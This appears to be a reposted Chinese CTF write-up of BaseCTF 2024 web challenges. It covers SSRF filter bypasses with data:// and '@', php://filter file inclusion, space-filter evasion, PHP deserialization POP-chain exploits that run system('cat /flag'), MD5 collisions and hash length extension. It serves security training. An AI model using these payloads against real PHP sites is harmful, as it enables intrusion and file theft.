Base2024

news/2024/11/16 7:21:01/文章来源:https://www.cnblogs.com/Yolololo/p/18401349

Aura 酱的礼物

ssrf

data伪协议

格式

data://text/plain,xxx能读取出内容

data://text/plain;base64,xxxxxxxxxxxx先base64解码 再读取出内容

@隔断

当要求url开头时,使用@来分隔

file=http://baidu.com@127.0.0.1

源码

<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{die('这是 Aura 的礼物,你不是 Aura!');
}// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{die('这不是 Aura 的博客!');
}$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{die('请去博客里面写下感想哦~');
}// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift);

data伪协议

隔断开头@

filter读取文件内容

image-20240903145837812

你听不到我的声音

shell_exec函数

shell_exec 函数执行系统命令,但它将命令的输出作为字符串返回

绕过shell_exec函数

shell_exec函数会保护命令的执行导致没有回显,所以、需要将回显的内容导入一个txt文件中显示,使用tee命令

tee命令

格式

tee 选项 文件

选项:

  • -a:追加内容到文件的末尾

参考

保存命令 输出到文件
ls | tee file.txt
同时显示和保存命令输出
ls | tee -a file.txt

...

备份文件
cat file.txt | tee file_backup.txt	#备份file文件

image-20240903155245930

image-20240903155226336

RCEisamazingwithspace

绕过空格

  • $
  • $IFS$1
  • ${IFS}$1

ez_ser

反序列化

源码

<?php
highlight_file(__FILE__);
error_reporting(0);class re{public $chu0;public function __toString(){if(!isset($this->chu0)){return "I can not believes!";}$this->chu0->$nononono;}
}class web {public $kw;public $dt;public function __wakeup() {echo "lalalla".$this->kw;}public function __destruct() {echo "ALL Done!";}
}class pwn {public $dusk;public $over;public function __get($name) {if($this->dusk != "gods"){echo "什么,你竟敢不认可?";}$this->over->getflag();}
}class Misc {public $nothing;public $flag;public function getflag() {eval("system('cat /flag');");}
}class Crypto {public function __wakeup() {echo "happy happy happy!";}public function getflag() {echo "you are over!";}
}
$ser = $_GET['ser'];
unserialize($ser);
?>

exp

<?php
highlight_file(__FILE__);
error_reporting(0);class re{public $chu0;public function __toString(){if(!isset($this->chu0)){return "I can not believes!";}$this->chu0->$nononono;}
}class web {public $kw;public $dt;public function __wakeup() {echo "lalalla".$this->kw;}public function __destruct() {echo "ALL Done!";}
}class pwn {public $dusk;public $over;public function __get($name) {if($this->dusk != "gods"){echo "什么,你竟敢不认可?";}$this->over->getflag();}
}class Misc {public $nothing;public $flag;public function getflag() {eval("system('cat /flag');");}}$web = new web();
$re = new re();
$web->kw=$re;	#调用tostring$pwn = new pwn();
$re->chu0=$pwn;	#访问不存在的$nonononono$misc = new misc();
$pwn->dusk="gods";	#赋值gods
$pwn->over=$misc;	#调用over为misc对象echo serialize($web);

image-20240903171205238

Really EZ POP

反序列化 构造pop链

源码

<?php
highlight_file(__FILE__);class Sink
{private $cmd = 'echo 123;';public function __toString(){eval($this->cmd);}
}class Shark
{private $word = 'Hello, World!';public function __invoke(){echo 'Shark says:' . $this->word;}
}class Sea
{public $animal;public function __get($name){$sea_ani = $this->animal;echo 'In a deep deep sea, there is a ' . $sea_ani();}
}class Nature
{public $sea;public function __destruct(){echo $this->sea->see;}
}if ($_POST['nature']) {$nature = unserialize($_POST['nature']);
}

exp

<?php
highlight_file(__FILE__);class Sink
{private $cmd = 'system("cat /flag");';public function __toString(){eval($this->cmd);}
}class Shark
{private $word = 'Hello, World!';public function setWord($word){$this->word = $word;}public function __invoke(){echo 'Shark says:' . $this->word;}
}class Sea
{public $animal;public function __get($name){$sea_ani = $this->animal;echo 'In a deep deep sea, there is a ' . $sea_ani();}
}class Nature
{public $sea;public function __destruct(){echo $this->sea->see;   #访问不存在的变量see 触发get}
}$sink = new Sink();
$shark = new Shark();
$sea = new Sea();
$nature = new Nature();$nature->sea=$sea;
$sea->animal=$shark;
$shark->setWord($sink);echo urlencode(serialize($nature));

pop链

destruct访问不存在的see触发get
get调用animal
构造了setWord去调用了私有属性word
最后去触发tostring

数学大师

一开始以为是计算pin码

看了wp才知道就是纯计算

官方wp

import requests
import rereq = requests.session()
url = "http://challenge.basectf.fun:24989/"answer = 0
while True:response = req.post(url , data={"answer": answer})print(response.text)if "BaseCTF" in response.text:print(response.text)breakregex = r" (\d*?)(.)(\d*)\?"match = re.search(regex, response.text)if match.group(2) == "+":answer = int(match.group(1)) + int(match.group(3))elif match.group(2) == "-":answer = int(match.group(1)) - int(match.group(3))elif match.group(2) == "×":answer = int(match.group(1)) * int(match.group(3))elif match.group(2) == "÷":answer = int(match.group(1)) // int(match.group(3))

image-20240903213652593

image-20240903213819270

所以你说你懂 MD5?

源码

<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {die('加强难度就不会了?');
}// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {die('难吗?不难!');
}// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {die('嘻嘻, 不会了? 没看直播回放?');
}// 你以为这就结束了
if (!isset($_SESSION['random'])) {$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';$name = $_POST['name'] ?? 'user';// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {die('不是管理员也来凑热闹?');
}$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {die('伪造? NO NO NO!');
}// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag'); 

使用工具fasstcoll 参考,burp抓包(hackbar将不可见字符过滤掉了)

image-20240904111444691

哈希长度拓展攻击

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/793494.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

短视频程序源码,文件上传漏洞及防御方法

短视频程序源码,文件上传漏洞及防御方法一、文件上传漏洞原理在短视频程序源码的文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。二、文件上传漏洞触发点相…

Windows11安装Jenkins

Windows11安装Jenkins 1. 下载安装JDK11 从2022年 6 月 28 日发布的 Jenkins 2.357 和2022年9 月发布的 LTS 版本开始,Jenkins 需要 Java 11 才能使用,放弃 Java 8,如果用JDK1.8,那么Jenkins版本需要是2.357版本之前。 JDK11下载渠道oracle官网:https://www.oracle.com/ja…

PART1-Oracle关系数据结构-数据字典与动态性能视图

6. 数据字典与动态性能视图 6.1. 数据字典概述 Oracle数据库的一个重要组成部分是其数据字典,这是一个只读的表集合,提供了有关数据库的管理元数据。数据字典包含如下信息:数据库中每个模式对象的定义,包括列的默认值和完整性约束信息 分配给模式对象的空间量以及当前使用的…

最让程序员破防的12句话,你来补充下一句。

1、这个应该很简单吧,要那么久? 2、之前有一个类似的功能,拿过来改一下就好了。 3、产品说这个功能,已经给客户沟通好了,你想办法看怎么实现。 4、这个需求真的是最终版了。 5、要不我们还是使用上一版设计? 6、先做出来看看,不合适再改。 7、我就要这种效果,怎么实现是…

Delphi怎样安装和配置第三方控件并处理找不到文件

一、提示信息:[dcc64 Error] E1026 File not found: ‘***.res’ 二、解决方法: 1、正解:应当去看官方的安装说明文档,比如若你用自动或手动方式安装和部署TMS FlexCel Studio for VCL and FireMonkey *.*.*.*.exe时,你应当仔细阅读官方的安装说明:http://www.tmssoftwar…

五子棋AI:实现逻辑与相关背景探讨(上)

绪论本合集将详细讲述如何实现基于群只能遗传算法的五子棋AI,采用C++作为底层编程语言 本篇将简要讨论实现思路,并在后续的文中逐一展开了解五子棋 五子棋规则五子棋是一种经典的棋类游戏,规则简单却充满策略性。游戏在一个1919的棋盘上进行(也可以使用1313或1515的棋盘)。…

常用delphi IDE环境配置

目录 常用delphi XE IDE环境配置,大家都需要熟练 一、android SDK : 二、环境变量 User System Overrides :覆盖用户操作系统的全局配置参数:System Variables 操作系统层面的全局变量: 其中:重要的,和自己个性化的: 三、自己的类库路径 四、测试工程默认路径 五、…

如果没有热风枪,如何组合热缩管的5种简单方法

转载自:https://mil.sohu.com/a/779354413_120429259当谈到收缩热缩管时,没有什么比热风枪更好的了。但如果你没有,你该怎么办? 请放心,您仍然可以在没有热风枪的情况下使用热缩管。它可以响应多种热源,因此您可以使用许多替代工具。 在本文中,我列出了一些最流行的热收…

17_电话号码的字母组合

17_电话号码的字母组合 【问题描述】 给定一个仅包含数字 2-9 的字符串,返回所有它能表示的字母组合。答案可以按任意顺序返回。给出数字到字母的映射如下(与电话按键相同)。注意1不对应任何字母。示例一: 输入:digits = "23" 输出:["ad","ae&q…

读软件设计的要素03概念的组合

概念的组合1. 概念的组合 1.1. 概念不像程序那样,可以用较大的包含较小的1.1.1. 每个概念对用户来说都是平等的,软件或系统就是一组串联运行的概念组合1.2. 概念是通过操作来同步组合的1.2.1. 同步并不增加新的概念操作,但会限制已有的操作,从而消除一些独立概念可能会出现…

南沙信C++陈老师解一本通题: 1101:不定方程求解

​ 【题目描述】给定正整数a,b,c。求不定方程 ax+by=c关于未知数x和y的所有非负整数解组数。【输入】一行,包含三个正整数a,b,c 两个整数之间用单个空格隔开。每个数均不大于1000。【输出】一个整数,即不定方程的非负整数解组数。【输入样例】 2 3 18 【输出样例】 4 #in…

musl libc 与 glibc 在 .NET 应用程序中的兼容性

musl Linux 和 glibc 是两种不同的 C 标准库实现,它们在多个方面存在显著差异。历史和使用情况:glibc 是较早且广泛使用的 C 标准库实现,具有较长的开发历史和广泛的社区支持。它被大多数 Linux 发行版采用,特别是在桌面和服务器环境中。 musl 是一个相对较新的实现,旨在提…